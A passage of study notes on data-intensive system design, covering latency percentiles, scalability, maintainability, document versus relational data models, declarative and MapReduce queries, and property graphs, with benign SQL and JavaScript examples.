are fetched separately and merged with that user's home timeline when it is read. + + +--- + +##### Describing performance + +What happens when the **load increases**: +* When you increase a load parameter and `keep the system resources (CPU, mem‐ ory, network bandwidth, etc.) unchanged`, how is the performance of your system affected? +* When you increase a load parameter, how much do you need to `increase the resources to keep performance unchanged`? + +In a batch processing system such as Hadoop, we usually care about _throughput_ +- the number of records we can process per second. +- or the total time it takes to run a job on a dataset of a certain size +- In online systems, what’s usually more important is the service’s response time—that is, the time between a client sending a request and receiving a response. + + +> Latency and response time +> The `response time` is what the client sees. +> `Latency` is the duration that a request is waiting to be handled. + +system handling a variety of requests, the response time can vary a lot. +- response time not as a single number, but as a `distribution of values` that you can measure. + +![Screen Shot 2021-10-20 at 9.52.59 AM](https://i.imgur.com/XX3IpVB.png) + +- Most requests are reasonably fast, but there are occasional outliers that take much longer. + - Perhaps the slow requests are intrinsically more expensive, e.g., because they process more data. +- But think all requests should take the same time, +- and you get `variation`: + - random additional latency could be introduced by a context switch to a background process, + - the loss of a network packet and TCP retransmission, + - a garbage collection pause, + - a page fault forcing a read from disk, + - mechanical vibrations in the server rack, or many other causes. + +- It's common to see the _average_ response time of a service reported. +- However, the mean is not very good metric to know your "typical" response time, it does not tell you how many users actually experienced that delay. + +- **Better to use percentiles.** + * _Median_ + * _50th percentile_ or _p50_ + * sort it from fastest to slowest, then the median is the halfway point + * a good metric to know how long users typically have to wait + * Half of user requests are served in less than the median response time, and the other half take longer than the median + * Note that `the median refers to a single request`; + * if the user makes several requests (over the course of a session, or because several resources are included in a single page) + * the probability that at least one of them is slower than the median is much greater than 50%. + + * _95th_, _99th_ Percentiles and _99.9th_ + * (_p95_, _p99_ and _p999_) are good to figure out `how bad your outliners are.` + * They are the response time thresholds at which 95%, 99%, or 99.9% of requests are faster than that particular threshold. + * For example, if the 95th percentile response time is 1.5 seconds, that means 95 out of 100 requests take less than 1.5 seconds, and 5 out of 100 requests take 1.5 seconds or more. + +**tail latencies**, +- High percentiles of response times, +- are important because they directly affect users’ experience of the service. + - Amazon describes response time requirements for internal services in terms of the 99.9th percentile because the customers with the slowest requests are often those who have the most data. The most valuable customers. + +**optimising for the 99.99th percentile** +- would be too expensive, and the benefits are diminishing 递减 + - _Service level objectives_ (SLOs) and _service level agreements_ (SLAs) are contracts that define the expected performance and availability of a service. + - An SLA may state `the median response time to be less than 200ms and a 99th percentile under 1s, and the service may be required to be up at least 99.9% of the time`. + - **These metrics set expectations for clients of the service and allow customers to demand a refund if the SLA is not met.** + +**Queueing delays** +- often account for large part of the response times at high percentiles. +- **It is important to measure times on the client side.** +- **head-of-line blocking** + - As a server can only process a small number of/limited things in parallel (for example, by its number of CPU cores), it only takes a small number of slow requests to hold up the processing of subsequent requests—an effect sometimes known as **head-of-line blocking**. + - Even if those subsequent requests are fast to process on the server, the client will see a slow overall response time due to the `time waiting for the prior request to complete`. + - Due to this effect, it is important to measure response times on the client side. + + +When **generating load artificially to test the scalability of a system** +- the load-generating client needs to `keep sending requests independently of the response time`. +- If the client waits for the previous request to complete before sending the next one, that behavior has the effect of artificially keeping the queues shorter in the test than they would be in reality, which skews the measurements + + +###### Percentiles in practice +> Calls in parallel, the end-user request still needs to wait for the slowest of the parallel calls to complete. +> The chance of getting a slow call increases if an end-user request requires multiple backend calls. + + + +- High percentiles become especially important in **backend services that are called multiple times as part of serving a single end-user request**. +- Even if you make the calls in parallel, the end-user request still needs to wait for the slowest of the parallel calls to complete. + +![Screen Shot 2021-10-20 at 3.31.06 PM](https://i.imgur.com/iM3fffE.png) + +- one slow call make the entire end-user request slow, +- Even if only a small percentage of backend calls are slow, the chance of getting a slow call increases if an end-user request requires multiple back‐end calls, and so a higher proportion of end-user requests end up being slow (an effect known as tail latency amplification). + +- To add response time percentiles to the monitoring dashboards for your services, you need to efficiently calculate them on an ongoing basis. +- For example, you may want to keep a rolling window of response times of requests in the last 10 minutes. +- Every minute, you calculate the `median and various percentiles` over the values in that window and plot those metrics on a graph. +- The naïve implementation is to keep a list of response times for all requests within the time window and to sort that list every minute. +- If that is too inefficient for you, there are algorithms that can calculate a good approximation of percentiles at minimal CPU and memory cost, such as forward decay, t-digest, or HdrHistogram. +- Beware that `averaging percentiles` is mathematically meaningless + - e.g., to reduce the time resolution or to combine data from several machines + - the right way of aggregating response time data is to **add the histograms**. + + + +##### Approaches for coping with load + +> with the parameters for describing `load` and metrics for measuring `performance`, +> we can start discussing scalability + +how do we **maintain good performance even when our load parameters increase** by some amount? + +* _Scaling up_ or _vertical scaling_: + * Moving to a more powerful machine +* _Scaling out_ or _horizontal scaling_: + * Distributing the load across multiple smaller machines. + * Distributing load across multiple machines is also known as a `shared-nothing architecture`. + +A system that can run on a single machine is often simpler, but high-end machines can become very expensive, so very intensive workloads often can’t avoid scaling out. +- In reality, good architectures usually involve a pragmatic mixture of approaches: +- for example +- several fairly powerful machines can be simpler and cheaper than a large number of small virtual machines. + +* _Elastic_ systems: + * **Automatically add computing resources when detected load increase**. + * Quite useful if load is unpredictable. + * systems are scaled manually (a human analyzes the capacity and decides to add more machines to the system). + * An elastic system can be useful if load is highly unpredictable, but manually scaled systems are simpler and may have fewer operational surprises + + +- `Distributing stateless services across multiple machines` is fairly straightforward. +- `Taking stateful data systems from a single node to a distributed setup` can introduce a lot of complexity. +- Until recently it was common wisdom to keep your database on a single node (scale up) until scaling cost or high-availability requirements forced you to make it distributed. + +The architecture of systems that operate at large scale is usually highly specific to the application +- no such thing as a generic, one-size-fits-all scalable architecture (informally known as magic scaling sauce). +- The problem may be + - the volume of reads, + - the volume of writes, + - the volume of data to store, + - the complexity of the data, + - the response time requirements, + - the access patterns, + - or (usually) some mixture of all of these plus many more issues. + +For example, +- a system that is designed to handle 100,000 requests per second, each 1 kB in size, +- a system that is designed for 3 requests per minute, each 2 GB in size +- even though the two systems have the same data through‐put. big difference. + + + +--- + +#### Maintainability + +> The majority of the cost of software is in its ongoing maintenance. + +**legacy systems**: +- perhaps it involves fixing other people’s mistakes, or working with platforms that are now outdated, or systems that were forced to do things they were never intended for. +- Every legacy system is unpleasant in its own way, and so it is difficult to give general recommendations for dealing with them. + + +There are three **design principles for software systems**: +* **Operability**. + * Make it easy for operation teams to keep the system running. +* **Simplicity**. + * Easy for new engineers to understand the system by removing as much complexity as possible. +* **Evolvability** 可进化性. + * Make it easy for engineers to make changes to the system in the future. + +--- + +##### Operability: making life easy for operations + +A good operations team is responsible for +* **Monitoring** and quickly **restoring** service if it goes into bad state +* **Tracking** down the cause of problems +* Keeping software and platforms **up to date** +* Keeping tabs on **how different systems affect each other** +* **Anticipating** future problems and solving them before they occur (e.g., capacity planning) +* **Establishing good practices and tools** for deployment, configuration management, and more +* Performing complex **maintenance** tasks, such as moving an application from one platform to another +* Maintaining the **security** of the system as configuration changes are made +* **Defining processes** that make operations predictable and help keep the production environment stable +* **Preserving the organization’s knowledge** about the system, even as individual people come and go + +**Good operability means making routine tasks easy.** + +Data systems can do various things to make routine tasks easy, including: +* **Providing visibility** into the runtime behavior and internals of the system, with good monitoring +* **Providing good support** for automation and integration with standard tools +* **Avoiding dependency** on individual machines (allowing machines to be taken down for maintenance while the system as a whole continues running uninter‐ rupted) +* **Providing good documentation** and an easy-to-understand operational model (“If I do X, Y will happen”) +* **Providing good default behavior**, but also giving administrators the freedom to override defaults when needed +* **Self-healing** where appropriate, but also giving administrators manual control over the system state when needed +* **Exhibiting predictable behavior, minimizing surprises** + + + +--- + + +##### Simplicity: managing complexity + +A software project mired 陷入困境 in complexity is sometimes described as a `big ball of mud` + +There are various possible symptoms of complexity: +- explosion of the state space, +- tight coupling of modules, +- tangled dependencies, +- inconsistent naming and terminology, +- hacks aimed at solving performance problems, +- special-casing to work around issues elsewhere, and many more. +- Much has been said on this topic already. + + +When `complexity makes maintenance hard`, +- budget and schedules are often overrun. +- There is a greater risk of introducing bugs when making a change: + +**removing accidental complexity** +- Making a system simpler means removing _accidental_ complexity, +- complexity: accidental if it is not inherent in the problem that the software solves (as seen by the users) but arises only from the implementation. + +One of the best tools we have for removing accidental complexity is _abstraction_ +- that hides the implementation details behind clean and simple to understand APIs and facades. 正面 +- A good abstraction can also be used for a wide range of different applications. + - Not only is this reuse more efficient than reimplementing a similar thing multiple times, + - but it also leads to higher-quality software, + - as quality improvements in the abstracted component benefit all applications that use it. + +For example, +- `high-level programming languages` are abstractions that hide machine code, CPU registers, and syscalls. +- `SQL` is an abstraction that hides complex on-disk and in-memory data structures, concurrent requests from other clients, and inconsistencies after crashes. +- Of course, when programming in a high-level language, we are still using machine code; we are just not using it directly, because the programming language abstraction saves us from having to think about it. + +However, finding good abstractions is very hard. +- much less clear how we should be packaging them into abstractions that help us keep the complexity of the system at a manageable level. +- look for good abstractions to extract parts of a large system into `well-defined, reusable components`. + + +--- + +##### Evolvability: making change easy + +**Agile working patterns** +- _Agile_ working patterns provide a framework for adapting to change. +- The Agile community has also developed technical tools and patterns that are helpful when developing software in a frequently changing environment, such as `test-driven development (TDD)` and `refactoring`. + + +--- + +### Summary + +**An application has to meet various requirements in order to be useful.** +* _Functional requirements_: + * what the application should do +* _Nonfunctional requirements_: + * general properties like security, reliability, compliance, scalability, compatibility and maintainability. + + +**Reliability** means making systems work correctly, even when faults occur. Faults can be in hardware (typically random and uncorrelated), software (bugs are typically sys‐ tematic and hard to deal with), and humans (who inevitably make mistakes from time to time). Fault-tolerance techniques can hide certain types of faults from the end user. + + +**Scalability** means having strategies for keeping performance good, even when load increases. In order to discuss scalability, we first need ways of describing load and performance quantitatively. We briefly looked at Twitter’s home timelines as an example of describing load, and response time percentiles as a way of measuring performance. In a scalable system, you can add processing capacity in order to remain reliable under high load. + +**Maintainability** has many facets, but in essence it’s about making life better for the engineering and operations teams who need to work with the system. Good abstract‐ tions can help reduce complexity and make the system easier to modify and adapt for new use cases. Good operability means having good visibility into the system’s health, and having effective ways of managing it. + +--- + + + + + +## CHAPTER 2 Data models and query language + +Most applications are built by layering one data model on top of another. +- **Each layer hides the complexity of the layers below** by `providing a clean data model`. +- These abstractions allow different groups of people to work effectively. + +For example: +1. As an application developer, you look at the real world (in which there are people, organizations, goods, actions, money flows, sensors, etc.) and `model it in terms of objects or data structures, and APIs that manipulate those data structures`. Those structures are often specific to your application. +2. When you want to store those data structures, you `express them in terms of a general-purpose data model, such as JSON or XML documents, tables in a relational database, or a graph model`. +3. The engineers who built your database software decided on a way of `representing that JSON/XML/relational/graph data in terms of bytes in memory, on disk, or on a network`. The representation may allow the data to be queried, searched, manipulated, and processed in various ways. +4. On yet lower levels, hardware engineers have figured out how to represent bytes in terms of electrical currents, pulses of light, magnetic fields, and more. + + +--- + +### Relational model vs document model + +The roots of relational databases lie in _business data processing_, _transaction processing_ (entering sales or banking trans‐ actions, airline reservations, stock-keeping in warehouses) and _batch processing_ (customer invoicing, payroll, reporting). + +In the 1970s and early 1980s, the `network model` and the `hierarchical model` were the main alternatives, but the `relational model` came to dominate them. + + +The goal was to hide the implementation details behind a cleaner interface. + +--- + +#### NoSQL + +_NoSQL_ has a few driving forces: +* Greater scalability than relational databases can easily achieve, + * including very large datasets or very high write throughput +* preference for free and open source software +* Specialised query optimisations that are not well supported by the relational model +* Frustration with the restrictiveness of relational schemas, and a desire for a more +dynamic and expressive data model + +--- + +#### The Object-Relational Mismatch + +**With a SQL model, if data is stored in a relational tables, an awkward translation layer is translated, this is called _impedance mismatch_ 阻抗失配 .** +- translation layer is required between the `objects in the application code` and the `database model of tables, rows, and columns`. +- The disconnect between the models is sometimes called an **impedance mismatch**. + +**Object-relational mapping (ORM) frameworks** +- Object-relational mapping (ORM) frameworks like ActiveRecord and Hibernate reduce the amount of boilerplate code required for this translation layer, +- but they can’t completely hide the differences between the two models. + + +--- + +#### JSON model + +JSON model reduces the impedance mismatch and the lack of schema is often cited as an advantage. + +JSON representation has better _locality_ than the multi-table SQL schema. +- **All the relevant information is in one place, and one query is sufficient.** + - to fetch a profile in the relational, either perform multiple queries (query each table by user_id) or perform a messy multiway join between the users table and its subordinate tables. + - In the JSON representation, all the relevant information is in one place, and one query is sufficient. + +- In relational databases, it's normal to refer to rows in other tables by ID, because `joins` are easy. +- In document databases, joins are not needed for one-to-many tree structures, and support for joins is often weak. +- If the database itself does not support joins, you have to emulate a join in application code by making multiple queries. + + + +--- + +#### Many-to-One and Many-to-Many Relationships + +advantages to having standardized lists of data: +* Consistent style and spelling across profiles +* Avoiding ambiguity +* Ease of updating + * the name is stored in only one place, so it is easy to update across the board if it ever needs to be changed (e.g., change of a city name due to political events) +* Localization support + * when the site is translated into other languages, the standardized lists can be localized, so the region and industry can be displayed in the viewer’s language +* Better search + * e.g., a search for philanthropists in the state of Washington can match this profile, because the list of regions can encode the fact that Seattle is in Washington (which is not apparent from the string "Greater Seattle Area") + +The advantage of using an ID is that because it has no meaning to humans, it never needs to change: +- the ID can remain the same, even if the information it identifies changes. +- Anything that is meaningful to humans may need to change sometime in the future +- and if that information is duplicated, all the redundant copies need to be updated. +- That incurs write overheads, and risks inconsistencies (where some copies of the information are updated but others aren’t). +- Removing such duplication is the key idea behind **normalization in databases**. + +--- + +#### Are Document Databases Repeating History? + +The most popular database for business data processing in the 1970s was the IBM's _Information Management System_ (IMS). +- IMS used a _hierarchical model_ +- and like document databases worked well for one-to-many relationships, +- but it made many-to-any relationships difficult, and it didn't support joins. + +--- + + +##### hierarchical model +- which has some remarkable similarities to the JSON model used by document databases. +- It represented all data as a tree of records nested within records, much like the JSON structure of + +Various solutions were proposed to solve the limitations of the hierarchical model. +- The two most prominent were the **relational model** (which became SQL, and took over the world) +- and the **network model** (which initially had a large following but eventually faded into obscurity). The “great debate” between these two camps lasted for much of the 1970s + +--- + +##### The network model + +- Standardised by a committee called the **Conference on Data Systems Languages (CODASYL) model** +- was a generalisation of the hierarchical model. + - tree structure of the hierarchical model, every record has exactly one parent, + - the network model, a record could have multiple parents. + - This allowed many-to-one and many-to-many relationships to be modeled. + +The links between records in the network model were not foreign keys, but like pointers in a programming language. +- **The only way of accessing a record** was to `follow a path from a root record` (access path). + +A query in CODASYL was performed by moving a cursor 光标 through the database by iterating over a list of records. +- If a record had multiple parents + - (i.e., multiple incoming pointers from other records), + - the application code had to keep track of all the various relationships. + - like navigating around an n-dimensional data space + +Manual access path selection was able to make the most efficient use of the very limited hardware capabilities in the 1970s (such as tape drives, whose seeks are extremely slow), +- **the problem**: the code for querying and updating the database is complicated and inflexible. +- With both the hierarchical and the network model, if you didn’t have a path to the data you wanted, you were in a difficult situation. + - You could change the access paths, but then you had to go through a lot of handwritten database query code and rewrite it to handle the new access paths. It was difficult to make changes to an application’s data model. + + +--- + +##### The relational model + +By contrast, the relational model was a way to lay out all the data in the open: a relation (table) is simply a collection of tuples (rows), and that's it. +- You can rows in a table, selecting those that match an arbitrary condition. +- You can read a particular row by designating some columns as a key and matching on those. +- You can insert a new row into any table without worrying about foreign key relationships to and from other tables. + +**query optimiser** +- The **query optimiser** automatically decides which parts of the query to execute in which order, and which indexes to use +- Those choices are effectively the “access path,” + - but the big difference is that they are made automatically by the query optimizer, not by the application developer, so we rarely need to think about them. +- to query your data in new ways, you can just declare a new index, and queries will automatically use whichever indexes are most appropriate. You don’t need to change your queries to take advantage of a new index. +- The relational model thus **made it much easier to add new features to applications**. + +Query optimizers for relational databases are complicated beasts, and they have consumed many years of research and development effort. +- But a key insight of the relational model was this: + - you only need to build a query optimizer once, and then all applications that use the database can benefit from it. + - If you don’t have a query optimizer, it’s easier to handcode the access paths for a particular query than to write a general-purpose optimizer + - but the general-purpose solution wins in the long run. + +--- + + +##### document data model + +Document databases reverted back to the hierarchical model in one aspect: +- storing nested records (one-to-many relationships) within their parent record rather than in a separate table. + + +However, when it comes to representing **many-to-one** and **many-to-many** relationships, relational and document databases are not fundamentally different: +- in both cases, the related item is referenced by a unique identifier, + - foreign key in the relational model + - docuaqsw q meant reference in the document model +- That identifier is resolved at read time by using a `join` or `follow-up queries`. +- To date, document databases have not followed the path of CODASYL. + +--- + +PRP4284412930 + +##### Relational Versus Document Databases Today + +There are many differences to consider when comparing relational databases to document databases, +- including their fault-tolerance properties +- and handling of concurrency +- The main arguments in favour of the document data model are + - **schema flexibility,** + - **better performance due to locality,** + - and sometimes **closer data structures** to the ones used by the applications. + - The relation model counters by providing better support for joins, and many-to-one and many-to-many relationships. + +Which data model leads to simpler application code? +- If the data in your application has a **document-like structure** -> document model. + - (i.e., a tree of one-to-many relationships, where typically the entire tree is loaded at once) + - The relational technique of _shredding_ (splitting a document-like structure into multiple tables) can lead unnecessary complicated application code. + +- If you application does use many-to-many relationships, the document model becomes less appealing. + - It’s possible to reduce the need for joins by `denormalizing 非规范化`, but then the application code needs to do additional work to `keep the denormalized data consistent`. + - Joins can be emulated in application code by making multiple requests. + - Using the document model can lead to significantly more complex application code and worse performance + + +The document model has limitations: +- **cannot refer directly to a nested item within a document** + - instead you need to say something like “the second item in the list of positions for user 251” (much like an access path in the hierarchical model). + - However, as long as documents are not too deeply nested, that is not usually a problem. +- The **poor support for joins** in document databases + - may or may not be a problem depending on the application. + - For example, many-to-many relationships may never be needed in an analytics application that uses a document database to record which events occurred at which time + + +--- + +#### Schema 模式 flexibility + +**No schema** +- No schema means that arbitrary keys and values can be added to a document +- when reading, **clients have no guarantees as to what fields the documents may contain.** + + + +**Document databases** +- Most document databases `do not enforce any schema` on the data in documents. +- _schemaless_, +- **schema-on-read** + - **the structure of the data is implicit 隐含的**, + - and only interpreted when the data is read + - similar to dynamic (runtime) type checking, + +**XML support in relational databases** +- XML support in relational databases usually comes with `optional schema validation`. +- **schema-on-write** + - the traditional approach of relational databases, + - where **the schema is explicit** + - the database ensures all written data conforms to it + - similar to static (compile-time) type checking. + + +**Schema changes** +The difference between the approaches is particularly noticeable in situations where an application wants to change the format of its data. +- For example +- currently storing each user’s full name in one field, and to store the first name and last name separately: +- In a document database: + - writing new documents with the new fields and have code in the application that handles the case when old documents are read. + +```java +if (user && user.name && !user.first_name) { +// Documents written before Dec 8, 2013 don't have first_name +user.first_name = user.name.split(" ")[0]; +} +``` + +- in a “statically typed” database schema + - perform a migration along the lines of: + +```sql +ALTER TABLE users ADD COLUMN first_name text; +UPDATE users SET first_name = split_part(name, ' ', 1); -- PostgreSQL +UPDATE users SET first_name = substring_index(name, ' ', 1); -- MySQL +``` + +**Schema changes** have a bad reputation of being slow and requiring downtime. +- This reputation is not entirely deserved: + - most relational database systems execute the `ALTER TABLE` statement in a few milliseconds. + - MySQL is a notable exception—it copies the entire table on `ALTER TABLE`, which can mean minutes or even hours of downtime when altering a large table + - although various tools exist to work around this limitation + + - Running the `UPDATE` statement on a large table is likely to be slow on any database, since every row needs to be rewritten. If that is not acceptable, the application can leave first_name set to its default of NULL and fill it in at read time, like it would with a document database. + + +The schema-on-read approach is advantageous if the items on the collection don't have all the same structure (heterogeneous 异质) +* **Many different types of objects**, not practical to put each type of object in its own table. +* **Data determined by external systems** which you have no control and which may change at any time. +* In situations like these, a schema may hurt more than it helps, and schemaless documents can be a much more natural data model. + + +* But in cases where all records are expected to have the same structure, schemas are a useful mechanism for documenting and enforcing that structure. + +--- + +#### Data locality for queries + +A document is usually stored as a single continuous string, encoded as JSON, XML, or a binary variant thereof 其变体 (such as MongoDB’s BSON). + +The database typically needs to load the entire document, even if you access only a small portion of it, which can be wasteful on large documents. + +**storage locality** +- If data is split across multiple tables + - multiple index lookups are required to retrieve it all, + - which may require more disk seeks and take more time. +- If your application often needs to access the entire document, there is a performance advantage to this _storage locality_. + - The **locality** advantage only applies if you need large parts of the document at the same time. + +- On updates to a document, the entire document usually needs to be rewritten—only modifications that don’t change the encoded size of a document can easily be performed in place. +- For these reasons, it is generally recommended that you keep documents fairly small and avoid writes that increase the size of a document. +- These performance limitations significantly reduce the set of situations in which document databases are useful. + +grouping related data together for locality is not limited to the document model. +- For example, +- Google’s Spanner database offers the same **locality properties in a relational data model**, by allowing the schema to declare that a table’s rows should be interleaved (nested) within a parent table. +- Oracle allows the same, using a feature called **multi-table index cluster tables** +- **The column-family concept** in the Bigtable data model (used in Cassandra and HBase) has a similar purpose of managing locality. + +--- + +#### Convergence 敛 of document and relational databases + + +**relational database systems** +- Most relational database systems (other than MySQL) have supported `XML` since the mid-2000s. +- This includes functions to make local modifications to XML documents +- and the ability to index and query inside XML documents, + - which allows applications to use data models very similar to what they would do when using a document database. + +- PostgreSQL since version 9.3, MySQL since version 5.7, and IBM DB2 since ver‐ sion 10.5 also have a similar level of support for JSON documents. + +**document database side** +- RethinkDB supports relational-like joins in its query language, +- and some MongoDB drivers automatically resolve database references (effectively performing a client-side join, although this is likely to be slower than a join performed in the database since it requires additional network round-trips and is less optimized). + +relational and document databases are becoming more similar over time +- good thing: the data models complement each other. +- If a database is able to handle document-like data and also perform relational queries on it, applications can use the combination of features that best fits their needs. +- A hybrid of the relational and document models is a good route for databases to take in the future. + + +--- + + + +### Query languages for data + +```bash +# code +function getSharks() { var sharks = []; +for (var i = 0; i < animals.length; i++) { if (animals[i].family === "Sharks") { + sharks.push(animals[i]); + } +} +return sharks; } + +# relational algebra +sharks = σfamily = “Sharks” (animals) + +# SQL +SELECT * FROM animals WHERE family = 'Sharks'; +``` + +**imperative language** +- Many programming languages are imperative. +- you tell the computer to perform certain operations in order. + + +**declarative query language** +- like SQL or relational algebra +- you just specify **the pattern of the data you want** + - what conditions the results must meet, and how the data to be transformed (e.g., sorted, grouped, and aggregated) + - but `not how to achieve that goal`. + - then database system’s **query optimizer** decide which indexes and which join methods to use, and in which order to execute various parts of the query. + +- A declarative query language is attractive + - more concise 简洁 and easier to work with than an imperative API. + - **it hides implementation details of the database engine** + - makes it possible for the database system to `introduce performance improvements` `without requiring any changes to queries`. + - For example + - imperative code + - the list of animals appears in a particular order. + - If the database wants to reclaim unused disk space behind the scenes, it might need to move records around, changing the order in which the animals appear. + - Can the database do that safely, without breaking queries? + +- The SQL example doesn’t guarantee any particular ordering, and so it doesn’t mind if the order changes. + - But query in imperative code, the database can never be sure whether the code is relying on the ordering or not. + - The fact that SQL is more limited in functionality gives the database much more room for automatic optimizations. + +**Parallel execution** +- **Declarative languages** often lend themselves to `parallel execution` + - Declarative languages have a better chance of getting faster in parallel execution + - because they specify only the pattern of the results, + - not the algorithm that is used to determine results. + - The database is free to use a parallel implementation of the query language, if appropriate +- **imperative code** is very hard to `parallelise across multiple cores` because it specifies instructions that must be performed in a particular order. + + + +--- + +#### Declarative queries on the web + +compare declarative and imperative approaches in a completely different environment: a web browser. + +In a web browser, +- using declarative CSS styling is much better than manipulating styles imperatively in JavaScript. +- Declarative languages like SQL turned out to be much better than imperative query APIs. + +```html +
    + +
  • +

    Sharks

    +
      +
    • Great White Shark
    • +
    • Tiger Shark
    • +
    • Hammerhead Shark
    • +
    +
  • + +
  • +

    Whales

    +
      +
    • Blue Whale
    • +
    • Humpback Whale
    • +
    • Fin Whale
    • +
    +
  • +
+``` + +##### declarative languages + + +```css +li.selected > p { + background-color: blue; +} +``` + +CSS selector +- CSS selector `li.selected > p` declares the pattern of elements to which we want to apply the blue style: + - all `

` elements whose direct parent is an `

  • element with a CSS class of selected`. + - The element `

    Sharks

    ` in the example matches this pattern, + - but `

    Whales

    ` does not match because its `
  • parent lacks class="selected"`. + + +```xsl + + + + + +``` + +the XPath expression +- the XPath expression `li[@class='selected']/p` is equivalent to the CSS selector `li.selected > p` +- What CSS and XSL have in common is that they are both declarative languages for specifying the styling of a document. + + +##### imperative approach + +```js +var liElements = document.getElementsByTagName("li"); +for (var i = 0; i < liElements.length; i++) { + if (liElements[i].className === "selected") { + var children = liElements[i].childNodes; + for (var j = 0; j < children.length; j++) { + var child = children[j]; + if (child.nodeType === Node.ELEMENT_NODE && child.tagName === "P") { + child.setAttribute("style", "background-color: blue"); + } +} } +} +``` + +In JavaScript +- using the core `Document Object Model (DOM) API`, the result might look something like this: +- much longer and harder to understand than the CSS and XSL equivalents, +- but it also has some serious problems: + + - If the selected class is removed + - (e.g., because the user clicks a different page), + - the blue color won’t be removed, even if the code is rerun + - and so the item will remain highlighted until the entire page is reloaded. + - With CSS, the browser automatically detects when the `li.selected > p` rule no longer applies and removes the blue background as soon as the selected class is removed. + + - If you want to take advantage of a new API + - such as `document.getElementsBy ClassName("selected")` or even `document.evaluate()` + - which may improve performance—you have to rewrite the code. + - On the other hand, browser vendors can improve the performance of CSS and XPath without breaking compatibility. + +- In a web browser, using **declarative** `CSS styling` is much better than manipulating styles **imperatively** in `JavaScript`. +- Similarly, in databases, **declarative query languages** like `SQL` turned out to be much better than **imperative query** `APIs`. + + + +--- + + +#### MapReduce querying + +_MapReduce_ is a programming model for processing large amounts of data in bulk across many machines, popularised by Google. +- MapReduce is neither a `declarative query language 声明式` nor a fully `imperative query API 完全命令式`, but somewhere in between: +- the logic of the query is expressed with snippets of code, which are called repeatedly by the processing framework. +- It is based on the `map` (collect) and `reduce` (fold or inject) functions that exist in many functional programming languages. + + +For example: +- add an observation record to database every time see animals in the ocean. +- to generate a report saying how many sharks have sighted per month. + + +1. In PostgreSQL + 1. The `date_trunc('month', timestamp)` function determines the calendar month containing timestamp, and returns another timestamp representing the beginning of that month. it rounds a timestamp down to the nearest month. + +```sql +SELECT date_trunc('month', observation_timestamp) AS observation_month, sum(num_animals) AS total_animals +FROM observations +WHERE family = 'Sharks' +GROUP BY observation_month; +``` + + +2. MongoDB's MapReduce solution. + +```js +db.observations.mapReduce( + + // called once for every document that matches query, + // with this set to the document object. + function map() { + var year = this.observationTimestamp.getFullYear(); + var month = this.observationTimestamp.getMonth() + 1; + // key, value (the number of animals in that observation) + emit(year + "-" + month, this.numAnimals); + }, + + // The key-value pairs emitted by map are grouped by key. + // For all key-value pairs with the same key (i.e., the same month and year), + // the reduce function is called once. + function reduce(key, values) { + // adds up the number of animals from all observations in a particular month. + return Array.sum(values); + }, + + { + query: { family: "Sharks" }, + // output is written to the collection monthlySharkReport. + out: "monthlySharkReport" + } +); +``` + +The `map` and `reduce` functions must be _pure_ functions, +- they only use the data that is passed to them as input, +- they **cannot perform additional database queries** and they must not have any side effects. +- These restrictions allow the database to run the functions anywhere, in any order, and rerun them on failure. +- However, they are nevertheless powerful: they can parse strings, call library functions, perform calculations, and more. + +MapReduce is a fairly `low-level programming model` for distributed execution on a cluster of machines. +- `Higher-level query languages` like **SQL** can be implemented as a pipeline of MapReduce operations, but there are also many distributed implementations of SQL that don’t use MapReduce. +- Note there is nothing in SQL that constrains it to running on a single machine, +- and MapReduce doesn’t have a monopoly on `distributed query execution`. + +Being able to use JavaScript code in the middle of a query is a great feature for advanced queries, but it’s not limited to MapReduce +- some SQL databases can be extended with JavaScript functions too + +A usability problem with MapReduce is that you have to write two carefully coordinated Java functions. +- A declarative language offers more opportunities for a **query optimiser** to improve the performance of a query. +- For there reasons, MongoDB 2.2 added support for a declarative query language called _aggregation pipeline_ + + + +1. aggregation pipeline + 1. similar in expressiveness to a subset of SQL, but it uses a JSON-based syntax rather than SQL’s English-sentence-style syntax; + 2. the difference is perhaps a matter of taste. + 3. The moral of the story is that a NoSQL system may find itself accidentally reinventing SQL, albeit in disguise. + + +```js +db.observations.aggregate([ + { $match: { family: "Sharks" } }, + { $group: { + _id: { + year: { $year: "$observationTimestamp" }, + month: { $month: "$observationTimestamp" } + }, + totalAnimals: { $sum: "$numAnimals" } + } } +]); +``` + + +--- + + +### Graph-like data models + +- If your application has mostly `one-to-many relationships (tree-structured data)` or `no relationships` between records, the **document model** is appropriate. +- If `many-to-many relationships` are very common in your application, it becomes more natural to start modelling your data as a **graph**. + +A graph consists of +- _vertices_ (_nodes_ or _entities_) +- and _edges_ (_relationships_ or _arcs_). + +Typical examples include: +- Social graphs: Vertices are `people`, and edges indicate `which people know each other`. +- The web graphs: Vertices are `web pages`, and edges indicate `HTML links to other pages`. +- Road or rail networks: Vertices are `junctions`, and edges represent `the roads or railway lines between them`. + + +Well-known algorithms can operate on these graphs, like the shortest path between two points, or popularity of a web page. + +graphs are not limited to such homogeneous data: +- an equally powerful use of graphs is to provide a consistent way of storing completely different types of objects in a single datastore. + +There are several ways of structuring and querying the data. +- The _property graph_ model (implemented by `Neo4j, Titan, and Infinite Graph`) +- and the _triple-store_ model (implemented by `Datomic, AllegroGraph, and others`). +- There are also three **declarative query languages** for graphs: `Cypher, SPARQL, and Datalog`. +- there are also **imperative graph query languages** such as `Gremlin` +- and **graph processing frameworks** like `Pregel`. + + +--- + +#### Property graphs + +Each vertex consists of: +* Unique identifier +* Outgoing edges +* Incoming edges +* Collection of properties (key-value pairs) + +Each edge consists of: +* Unique identifier +* Vertex at which the edge starts (_tail vertex_) +* Vertex at which the edge ends (_head vertex_) +* Label to describe the kind of relationship between the two vertices +* A collection of properties (key-value pairs) + +think of a graph store as consisting of two relational tables, +- one for vertices and one for edges, +- this schema uses the PostgreSQL json datatype to store the properties of each vertex or edge +- The head and tail vertex are stored for each edge; +- if you want the set of incoming or outgoing edges for a vertex, you can query the edges table by head_vertex or tail_vertex, respectively. + +```sql +CREATE TABLE vertices ( + vertex_id integer PRIMARYKEY, + properties json +); +CREATE TABLE edges ( + edge_id integer PRIMARY KEY, + tail_vertex integer REFERENCES vertices (vertex_id), + head_vertex integer REFERENCES vertices (vertex_id), + label text, + properties json +); + +CREATE INDEX edges_tails ON edges (tail_vertex); +CREATE INDEX edges_heads ON edges (head_vertex); +``` + +Some important aspects of this model are: +1. Any vertex can have an edge connecting it with any other vertex. + 1. There is no schema that restricts which kinds of things can or cannot be associated. +2. Given any vertex, + 1. you can efficiently find both its incoming and its outgoing edges, and thus traverse the graph both forward and backward. + 2. i.e., follow a path through a chain of vertices +3. By using different labels for different kinds of relationships, + 1. can store several different kinds of information in a single graph, + 2. 